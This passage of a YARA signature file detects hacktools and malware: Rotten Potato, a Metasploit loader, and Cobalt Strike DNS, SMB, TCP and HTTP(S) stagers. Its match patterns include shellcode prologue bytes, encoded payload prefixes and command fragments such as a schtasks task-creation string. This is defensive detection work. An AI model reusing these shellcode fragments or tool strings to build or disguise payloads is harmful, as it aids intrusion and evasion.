		reference = "https://mp.weixin.qq.com/s/3Pa3hiuZyQBspDzH0kGSHw"
		date = "2020-11-02"
		score = 60
		hash1 = "13655f536fac31e6c2eaa9e6e113ada2a0b5e2b50a93b6bbfc0aaadd670cde9b"
		id = "d2d078c9-fbe5-51f4-8f7e-5d943c5a8197"

	strings:
		$sc1 = { FF 00 CC FF FF 00 99 FF FF 00 66 FF FF 00 33 FF
               FF 80 00 FF FF 80 FF CC FF 80 CC CC FF C0 99 CC
               FF 80 66 CC FF 00 33 CC FF 00 00 CC FF 00 FF 99
               FF FF CC 99 FF FF 99 99 FF FF 66 99 FF FF 33 99
               FF 08 00 99 FF 88 FF 66 FF 88 CC 66 FF 88 99 66
               FF 88 66 66 FF 88 33 66 FF 05 00 66 FF 55 FF 33
               FF 55 CC 33 FF 55 99 33 FF 55 66 33 FF 58 33 33
               FF 01 00 33 FF 99 FF 00 FF 99 CC 00 FF 99 99 00
               FF 99 66 00 FF 58 33 00 FF 01 00 00 FF 99 FF FF
               CC 99 CC FF CC 99 99 FF CC 99 66 FF CC 58 33 FF
               CC 01 00 FF CC FF FF CC CC FF CC CC CC FF 99 CC
               CC FF 66 CC CC 58 33 CC CC 01 00 CC CC FF FF 99 }
		$sc2 = { 28 66 27 00 60 00 00 00 80 00 00 00 80 80 80 00
               C0 C0 C0 00 FF FF FF 00 FF FF FF 00 FF FF FF 00
               FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00
               FF FF FF 00 FF FF FF 00 5D 33 00 00 5D 33 00 00
               5D 33 00 00 5D 33 00 00 5D 33 00 00 5D 33 00 00
               5D 33 00 00 5D 33 00 00 5D 33 00 00 5D 33 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and all of them and pe.number_of_signatures < 1
}

import "pe"

rule SUSP_AdobePDF_Bitmap_Executable
{
	meta:
		description = "Detects a suspicious executable that contains a Adobe PDF icon and no shows no sign of actual Adobe software"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://mp.weixin.qq.com/s/3Pa3hiuZyQBspDzH0kGSHw"
		date = "2020-11-02"
		score = 60
		hash1 = "13655f536fac31e6c2eaa9e6e113ada2a0b5e2b50a93b6bbfc0aaadd670cde9b"
		id = "86ebadd4-64a8-5290-b45e-ac125a10ea66"

	strings:
		$sc1 = { FF 00 CC FF FF 00 99 FF FF 00 66 FF FF 00 33 FF
               FF 80 00 FF FF 80 FF CC FF 80 CC CC FF C0 99 CC
               FF 80 66 CC FF 00 33 CC FF 00 00 CC FF 00 FF 99
               FF FF CC 99 FF FF 99 99 FF FF 66 99 FF FF 33 99
               FF 08 00 99 FF 88 FF 66 FF 88 CC 66 FF 88 99 66
               FF 88 66 66 FF 88 33 66 FF 05 00 66 FF 55 FF 33
               FF 55 CC 33 FF 55 99 33 FF 55 66 33 FF 58 33 33
               FF 01 00 33 FF 99 FF 00 FF 99 CC 00 FF 99 99 00
               FF 99 66 00 FF 58 33 00 FF 01 00 00 FF 99 FF FF
               CC 99 CC FF CC 99 99 FF CC 99 66 FF CC 58 33 FF
               CC 01 00 FF CC FF FF CC CC FF CC CC CC FF 99 CC
               CC FF 66 CC CC 58 33 CC CC 01 00 CC CC FF FF 99 }
		$fp1 = "Adobe" ascii wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and $sc1 and not 1 of ( $fp* ) and pe.number_of_signatures < 1
}

rule HKTL_Keyword_InjectDLL
{
	meta:
		description = "Detects suspicious InjectDLL keyword found in hacktools or possibly unwanted applications"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/zerosum0x0/koadic"
		date = "2019-04-04"
		score = 60
		hash1 = "2e7b4141e1872857904a0ef2d87535fd913cbdd9f964421f521b5a228a492a29"
		id = "422eed76-7dfa-5490-a866-d337434eaddc"

	strings:
		$s2 = "InjectDLL" fullword ascii
		$s4 = "Kernel32.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule HKTL_Python_sectools
{
	meta:
		description = "Detects code which uses the python lib sectools"
		author = "Arnim Rupp"
		date = "2023-01-27"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		reference = "https://github.com/p0dalirius/sectools"
		hash = "814ba1aa62bbb7aba886edae0f4ac5370818de15ca22a52a6ab667b4e93abf84"
		hash = "b3328ac397d311e6eb79f0a5b9da155c4d1987e0d67487ea681ea59d93641d9e"
		hash = "8cd205d5380278cff6673520439057e78fb8bf3d2b1c3c9be8463e949e5be4a1"
		score = 50
		id = "89a5e0ba-5547-53e4-84a3-d07ee779596e"

	strings:
		$import1 = "from sectools"
		$import2 = "import sectools"

	condition:
		any of ( $import* )
}

rule RottenPotato_Potato
{
	meta:
		description = "Detects a component of privilege escalation tool Rotten Potato - file Potato.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/foxglovesec/RottenPotato"
		date = "2017-02-07"
		modified = "2022-12-21"
		score = 90
		hash1 = "59cdbb21d9e487ca82748168682f1f7af3c5f2b8daee3a09544dd58cbf51b0d5"
		id = "4a12783c-f58a-518b-a80a-f09f146304cc"

	strings:
		$x1 = "Potato.exe -ip <ip>" fullword wide
		$x2 = "-enable_httpserver true -enable_spoof true" fullword wide
		$x3 = "/C schtasks.exe /Create /TN omg /TR" fullword wide
		$x4 = "-enable_token true -enable_dce true" fullword wide
		$x5 = "DNS lookup succeeds - UDP Exhaustion failed!" fullword wide
		$x6 = "DNS lookup fails - UDP Exhaustion worked!" fullword wide
		$x7 = "\\obj\\Release\\Potato.pdb" ascii
		$x8 = "function FindProxyForURL(url,host){if (dnsDomainIs(host, \"localhost\")) return \"DIRECT\";" fullword wide
		$s1 = "\"C:\\Windows\\System32\\cmd.exe\" /K start" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of ( $x* ) ) or ( 2 of them )
}

rule Metasploit_Loader_RSMudge
{
	meta:
		description = "Detects a Metasploit Loader by RSMudge - file loader.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/rsmudge/metasploit-loader"
		date = "2016-04-20"
		hash1 = "afe34bfe2215b048915b1d55324f1679d598a0741123bc24274d4edc6e395a8d"
		id = "4d8a215e-a942-5df9-bdad-0c4158992429"

	strings:
		$s1 = "Could not resolve target" fullword ascii
		$s2 = "Could not connect to target" fullword ascii
		$s3 = "%s [host] [port]" fullword ascii
		$s4 = "ws2_32.dll is out of date." fullword ascii
		$s5 = "read a strange or incomplete length value" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 3 of ( $s* ) ) ) or ( all of them )
}

rule Cobaltbaltstrike_RAW_Payload_dns_stager_x86
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "817c4a72-7be1-5a58-987d-fe203d7778ea"

	strings:
		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }

	condition:
		uint32( @h01 + 0x00a3 ) == 0xe553a458 and uint32( @h01 + 0x00bd ) == 0x0726774c and uint32( @h01 + 0x012f ) == 0xc99cc96a and uint32( @h01 + 0x0198 ) == 0x56a2b5f0 and uint32( @h01 + 0x01a4 ) == 0xe035f044 and uint32( @h01 + 0x01e4 ) == 0xcc8e00f4
}

rule Cobaltbaltstrike_RAW_Payload_smb_stager_x86
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "29911a14-08ea-54de-9c07-630c6516bd49"

	strings:
		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }

	condition:
		uint32( @h01 + 0x00a1 ) == 0xe553a458 and uint32( @h01 + 0x00c4 ) == 0xd4df7045 and uint32( @h01 + 0x00d2 ) == 0xe27d6f28 and uint32( @h01 + 0x00f8 ) == 0xbb5f9ead and uint32( @h01 + 0x010d ) == 0xbb5f9ead and uint32( @h01 + 0x0131 ) == 0xfcddfac0 and uint32( @h01 + 0x0139 ) == 0x528796c6 and uint32( @h01 + 0x014b ) == 0x56a2b5f0
}

rule Cobaltbaltstrike_RAW_Payload_TCP_Bind_x86
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "ec0a9e27-3650-5393-a93b-2a461b9a0e29"

	strings:
		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }

	condition:
		uint32( @h01 + 0x009c ) == 0x0726774c and uint32( @h01 + 0x00ac ) == 0x006b8029 and uint32( @h01 + 0x00bb ) == 0xe0df0fea and uint32( @h01 + 0x00d5 ) == 0x6737dbc2 and uint32( @h01 + 0x00de ) == 0xff38e9b7 and uint32( @h01 + 0x00e8 ) == 0xe13bec74 and uint32( @h01 + 0x00f1 ) == 0x614d6e75 and uint32( @h01 + 0x00fa ) == 0x56a2b5f0 and uint32( @h01 + 0x0107 ) == 0x5fc8d902 and uint32( @h01 + 0x011a ) == 0xe553a458 and uint32( @h01 + 0x0128 ) == 0x5fc8d902 and uint32( @h01 + 0x013d ) == 0x614d6e75
}

rule Cobaltbaltstrike_RAW_Payload_TCP_Bind_x64
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "3575408a-3309-5723-a49a-9c2088d43de9"

	strings:
		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }

	condition:
		uint32( @h01 + 0x0100 ) == 0x0726774c and uint32( @h01 + 0x0111 ) == 0x006b8029 and uint32( @h01 + 0x012d ) == 0xe0df0fea and uint32( @h01 + 0x0142 ) == 0x6737dbc2 and uint32( @h01 + 0x0150 ) == 0xff38e9b7 and uint32( @h01 + 0x0161 ) == 0xe13bec74 and uint32( @h01 + 0x016f ) == 0x614d6e75 and uint32( @h01 + 0x0198 ) == 0x5fc8d902 and uint32( @h01 + 0x01b8 ) == 0xe553a458 and uint32( @h01 + 0x01d2 ) == 0x5fc8d902 and uint32( @h01 + 0x01ee ) == 0x614d6e75
}

rule Cobaltbaltstrike_RAW_Payload_TCP_Reverse_x86
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "ac824189-614d-5bff-9bbb-a4244cace563"

	strings:
		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }

	condition:
		uint32( @h01 + 0x009c ) == 0x0726774c and uint32( @h01 + 0x00ac ) == 0x006b8029 and uint32( @h01 + 0x00bb ) == 0xe0df0fea and uint32( @h01 + 0x00d5 ) == 0x6174a599 and uint32( @h01 + 0x00e5 ) == 0x56a2b5f0 and uint32( @h01 + 0x00f2 ) == 0x5fc8d902 and uint32( @h01 + 0x0105 ) == 0xe553a458 and uint32( @h01 + 0x0113 ) == 0x5fc8d902
}

rule Cobaltbaltstrike_RAW_Payload_TCP_Reverse_x64
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "21151a9c-1d15-514f-b33b-c9eff08463fb"

	strings:
		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }

	condition:
		uint32( @h01 + 0x0100 ) == 0x0726774c and uint32( @h01 + 0x0111 ) == 0x006b8029 and uint32( @h01 + 0x012d ) == 0xe0df0fea and uint32( @h01 + 0x0142 ) == 0x6174a599 and uint32( @h01 + 0x016b ) == 0x5fc8d902 and uint32( @h01 + 0x018b ) == 0xe553a458 and uint32( @h01 + 0x01a5 ) == 0x5fc8d902 and uint32( @h01 + 0x01c1 ) == 0x614d6e75
}

rule Cobaltbaltstrike_RAW_Payload_http_stager_x86
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "01f89b14-55f2-5a5e-b0d5-6bca609621fe"

	strings:
		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }

	condition:
		uint32( @h01 + 0x009c ) == 0x0726774c and uint32( @h01 + 0x00aa ) == 0xa779563a and uint32( @h01 + 0x00c6 ) == 0xc69f8957 and uint32( @h01 + 0x00de ) == 0x3b2e55eb and uint32( @h01 + 0x00f2 ) == 0x7b18062d and uint32( @h01 + 0x010b ) == 0x5de2c5aa and uint32( @h01 + 0x0114 ) == 0x315e2145 and uint32( @h01 + 0x0123 ) == 0x0be057b7 and uint32( @h01 + 0x02c4 ) == 0x56a2b5f0 and uint32( @h01 + 0x02d8 ) == 0xe553a458 and uint32( @h01 + 0x02f3 ) == 0xe2899612
}

rule Cobaltbaltstrike_RAW_Payload_http_stager_x64
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "7eeeb2a1-4903-5649-ae30-fd43367ab468"

	strings:
		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }

	condition:
		uint32( @h01 + 0x00e9 ) == 0x0726774c and uint32( @h01 + 0x0101 ) == 0xa779563a and uint32( @h01 + 0x0120 ) == 0xc69f8957 and uint32( @h01 + 0x013f ) == 0x3b2e55eb and uint32( @h01 + 0x0163 ) == 0x7b18062d and uint32( @h01 + 0x0308 ) == 0x56a2b5f0 and uint32( @h01 + 0x0324 ) == 0xe553a458 and uint32( @h01 + 0x0342 ) == 0xe2899612
}

rule Cobaltbaltstrike_RAW_Payload_https_stager_x86
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "f1d7e939-92b5-5441-8014-b2390854d059"

	strings:
		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }

	condition:
		uint32( @h01 + 0x009c ) == 0x0726774c and uint32( @h01 + 0x00af ) == 0xa779563a and uint32( @h01 + 0x00cb ) == 0xc69f8957 and uint32( @h01 + 0x00e7 ) == 0x3b2e55eb and uint32( @h01 + 0x0100 ) == 0x869e4675 and uint32( @h01 + 0x0110 ) == 0x7b18062d and uint32( @h01 + 0x0129 ) == 0x5de2c5aa and uint32( @h01 + 0x0132 ) == 0x315e2145 and uint32( @h01 + 0x0141 ) == 0x0be057b7 and uint32( @h01 + 0x02e9 ) == 0x56a2b5f0 and uint32( @h01 + 0x02fd ) == 0xe553a458 and uint32( @h01 + 0x0318 ) == 0xe2899612
}

rule Cobaltbaltstrike_RAW_Payload_https_stager_x64
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "5f9c7426-63be-5049-91fc-63b5c29618bd"

	strings:
		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }

	condition:
		uint32( @h01 + 0x00e9 ) == 0x0726774c and uint32( @h01 + 0x0101 ) == 0xa779563a and uint32( @h01 + 0x0123 ) == 0xc69f8957 and uint32( @h01 + 0x0142 ) == 0x3b2e55eb and uint32( @h01 + 0x016c ) == 0x869e4675 and uint32( @h01 + 0x0186 ) == 0x7b18062d and uint32( @h01 + 0x032b ) == 0x56a2b5f0 and uint32( @h01 + 0x0347 ) == 0xe553a458 and uint32( @h01 + 0x0365 ) == 0xe2899612
}

rule Cobaltbaltstrike_RAW_Payload_dns_stager_x86_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "d148ca33-b233-519d-8ba4-d389de721d15"

	strings:
		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }

	condition:
		uint32( @h01 + 0x0149 ) == 0xe5005300 and uint32( @h01 + 0x017d ) == 0x07002600 and uint32( @h01 + 0x0261 ) == 0xc9009c00 and uint32( @h01 + 0x0333 ) == 0x5600a200 and uint32( @h01 + 0x034b ) == 0xe0003500 and uint32( @h01 + 0x03cb ) == 0xcc008e00
}

rule Cobaltbaltstrike_RAW_Payload_smb_stager_x86_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "d88e050f-9e6c-5349-b809-ad7dc25a79b9"

	strings:
		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }

	condition:
		uint32( @h01 + 0x0145 ) == 0xe5005300 and uint32( @h01 + 0x018b ) == 0xd400df00 and uint32( @h01 + 0x01a7 ) == 0xe2007d00 and uint32( @h01 + 0x01f3 ) == 0xbb005f00 and uint32( @h01 + 0x021d ) == 0xbb005f00 and uint32( @h01 + 0x0265 ) == 0xfc00dd00 and uint32( @h01 + 0x0275 ) == 0x52008700 and uint32( @h01 + 0x0299 ) == 0x5600a200
}

rule Cobaltbaltstrike_RAW_Payload_TCP_Bind_x86_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "7f17985d-b245-5e95-9b35-af669aafc263"

	strings:
		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }

	condition:
		uint32( @h01 + 0x013b ) == 0x07002600 and uint32( @h01 + 0x015b ) == 0x00006b00 and uint32( @h01 + 0x0179 ) == 0xe000df00 and uint32( @h01 + 0x01ad ) == 0x67003700 and uint32( @h01 + 0x01bf ) == 0xff003800 and uint32( @h01 + 0x01d3 ) == 0xe1003b00 and uint32( @h01 + 0x01e5 ) == 0x61004d00 and uint32( @h01 + 0x01f7 ) == 0x5600a200 and uint32( @h01 + 0x0211 ) == 0x5f00c800 and uint32( @h01 + 0x0237 ) == 0xe5005300 and uint32( @h01 + 0x0253 ) == 0x5f00c800 and uint32( @h01 + 0x027d ) == 0x61004d00
}

rule Cobaltbaltstrike_RAW_Payload_TCP_Bind_x64_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "bd52fb44-379a-5c82-9c7c-b10c8080b53f"

	strings:
		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }

	condition:
		uint32( @h01 + 0x0203 ) == 0x07002600 and uint32( @h01 + 0x0225 ) == 0x00006b00 and uint32( @h01 + 0x025d ) == 0xe000df00 and uint32( @h01 + 0x0287 ) == 0x67003700 and uint32( @h01 + 0x02a3 ) == 0xff003800 and uint32( @h01 + 0x02c5 ) == 0xe1003b00 and uint32( @h01 + 0x02e1 ) == 0x61004d00 and uint32( @h01 + 0x0333 ) == 0x5f00c800 and uint32( @h01 + 0x0373 ) == 0xe5005300 and uint32( @h01 + 0x03a7 ) == 0x5f00c800 and uint32( @h01 + 0x03df ) == 0x61004d00
}

rule Cobaltbaltstrike_RAW_Payload_TCP_Reverse_x86_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "321c1f3f-b7fc-5408-b460-6aa4423d381c"

	strings:
		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }

	condition:
		uint32( @h01 + 0x013b ) == 0x07002600 and uint32( @h01 + 0x015b ) == 0x00006b00 and uint32( @h01 + 0x0179 ) == 0xe000df00 and uint32( @h01 + 0x01ad ) == 0x61007400 and uint32( @h01 + 0x01cd ) == 0x5600a200 and uint32( @h01 + 0x01e7 ) == 0x5f00c800 and uint32( @h01 + 0x020d ) == 0xe5005300 and uint32( @h01 + 0x0229 ) == 0x5f00c800
}

rule Cobaltbaltstrike_RAW_Payload_TCP_Reverse_x64_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "1cc2494c-1f39-5a72-93af-c267eaf768fe"

	strings:
		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }

	condition:
		uint32( @h01 + 0x0203 ) == 0x07002600 and uint32( @h01 + 0x0225 ) == 0x00006b00 and uint32( @h01 + 0x025d ) == 0xe000df00 and uint32( @h01 + 0x0287 ) == 0x61007400 and uint32( @h01 + 0x02d9 ) == 0x5f00c800 and uint32( @h01 + 0x0319 ) == 0xe5005300 and uint32( @h01 + 0x034d ) == 0x5f00c800 and uint32( @h01 + 0x0385 ) == 0x61004d00
}

rule Cobaltbaltstrike_RAW_Payload_http_stager_x86_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "c1602e85-5b42-5005-a6d1-7140cb57a3c7"

	strings:
		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }

	condition:
		uint32( @h01 + 0x013b ) == 0x07002600 and uint32( @h01 + 0x0157 ) == 0xa7007900 and uint32( @h01 + 0x018f ) == 0xc6009f00 and uint32( @h01 + 0x01bf ) == 0x3b002e00 and uint32( @h01 + 0x01e7 ) == 0x7b001800 and uint32( @h01 + 0x0219 ) == 0x5d00e200 and uint32( @h01 + 0x022b ) == 0x31005e00 and uint32( @h01 + 0x0249 ) == 0x0b00e000 and uint32( @h01 + 0x058b ) == 0x5600a200 and uint32( @h01 + 0x05b3 ) == 0xe5005300 and uint32( @h01 + 0x05e9 ) == 0xe2008900
}

rule Cobaltbaltstrike_RAW_Payload_http_stager_x64_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "78672e3b-6f76-573a-8a9a-610334baa389"

	strings:
		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }

	condition:
		uint32( @h01 + 0x01d5 ) == 0x07002600 and uint32( @h01 + 0x0205 ) == 0xa7007900 and uint32( @h01 + 0x0243 ) == 0xc6009f00 and uint32( @h01 + 0x0281 ) == 0x3b002e00 and uint32( @h01 + 0x02c9 ) == 0x7b001800 and uint32( @h01 + 0x0613 ) == 0x5600a200 and uint32( @h01 + 0x064b ) == 0xe5005300 and uint32( @h01 + 0x0687 ) == 0xe2008900
}

rule Cobaltbaltstrike_RAW_Payload_https_stager_x86_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "dcd3e5c8-7626-5a78-9f90-7a8e67311d90"

	strings:
		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }

	condition:
		uint32( @h01 + 0x013b ) == 0x07002600 and uint32( @h01 + 0x0161 ) == 0xa7007900 and uint32( @h01 + 0x0199 ) == 0xc6009f00 and uint32( @h01 + 0x01d1 ) == 0x3b002e00 and uint32( @h01 + 0x0203 ) == 0x86009e00 and uint32( @h01 + 0x0223 ) == 0x7b001800 and uint32( @h01 + 0x0255 ) == 0x5d00e200 and uint32( @h01 + 0x0267 ) == 0x31005e00 and uint32( @h01 + 0x0285 ) == 0x0b00e000 and uint32( @h01 + 0x05d5 ) == 0x5600a200 and uint32( @h01 + 0x05fd ) == 0xe5005300 and uint32( @h01 + 0x0633 ) == 0xe2008900
}

rule Cobaltbaltstrike_RAW_Payload_https_stager_x64_UTF16
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "aa93dd56-9589-5958-9711-ca2f9c763665"

	strings:
		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }

	condition:
		uint32( @h01 + 0x01d5 ) == 0x07002600 and uint32( @h01 + 0x0205 ) == 0xa7007900 and uint32( @h01 + 0x0249 ) == 0xc6009f00 and uint32( @h01 + 0x0287 ) == 0x3b002e00 and uint32( @h01 + 0x02db ) == 0x86009e00 and uint32( @h01 + 0x030f ) == 0x7b001800 and uint32( @h01 + 0x0659 ) == 0x5600a200 and uint32( @h01 + 0x0691 ) == 0xe5005300 and uint32( @h01 + 0x06cd ) == 0xe2008900
}

rule Cobaltbaltstrike_Payload_Encoded
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "b5176740-2dda-5e5d-8c0f-47a27846753d"

	strings:
		$s01 = "0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b" ascii wide nocase
		$s02 = "0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b" ascii wide nocase
		$s03 = "0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51" ascii wide nocase
		$s04 = "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51" ascii wide nocase
		$s05 = "fce8890000006089e531d2648b52308b" ascii wide nocase
		$s06 = "fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b" ascii wide nocase
		$s07 = "fc4883e4f0e8c8000000415141505251" ascii wide nocase
		$s08 = "fc 48 83 e4 f0 e8 c8 00 00 00 41 51 41 50 52 51" ascii wide nocase
		$s09 = "/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJX" ascii wide
		$s10 = "/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHA" ascii wide
		$s11 = "38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0" ascii wide
		$s12 = "32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLj" ascii wide
		$s13 = "/ADoAIkAAAAAAAAAYACJAOUAMQDSAGQAiwBSADAAiwBSAAwAiwBSABQAiwByACg" ascii wide
		$s14 = "/ABIAIMA5ADwAOgAyAAAAAAAAABBAFEAQQBQAFIAUQBWAEgAMQDSAGUASACLAFI" ascii wide
		$s15 = "3yPLI6ojIyMjIyMjQyOqI8YjEiPxI0cjqCNxIxMjqCNxIy8jqCNxIzcjqCNRIwsj" ascii wide
		$s16 = "3yNrI6AjxyPTI8sj6yMjIyMjIyNiI3IjYiNzI3EjciN1I2sjEiPxI0YjayOoI3Ej" ascii wide
		$s17 = "Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117" ascii wide
		$s18 = "Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117" ascii wide
		$s19 = "Array(-4,72,-125,-28,-16,-24,-56,0,0,0,65,81,65,80,82,81" ascii wide
		$s20 = "Array(-4, 72, -125, -28, -16, -24, -56, 0, 0, 0, 65, 81, 65, 80, 82, 81" ascii wide
		$s21 = "Chr(-4)&Chr(-24)&Chr(-119)&Chr(0)&Chr(0)&Chr(0)&Chr(96)&Chr(-119)&Chr(-27)&\"1\"&Chr(-46)&\"d\"&Chr(-117)&\"R0\"&Chr(-117)" ascii wide
		$s22 = "Chr(-4)&\"H\"&Chr(-125)&Chr(-28)&Chr(-16)&Chr(-24)&Chr(-56)&Chr(0)&Chr(0)&Chr(0)&\"AQAPRQVH" ascii wide
		$s23 = "\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\\x8b" ascii wide nocase
		$s24 = "\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51" ascii wide nocase

	condition:
		any of them
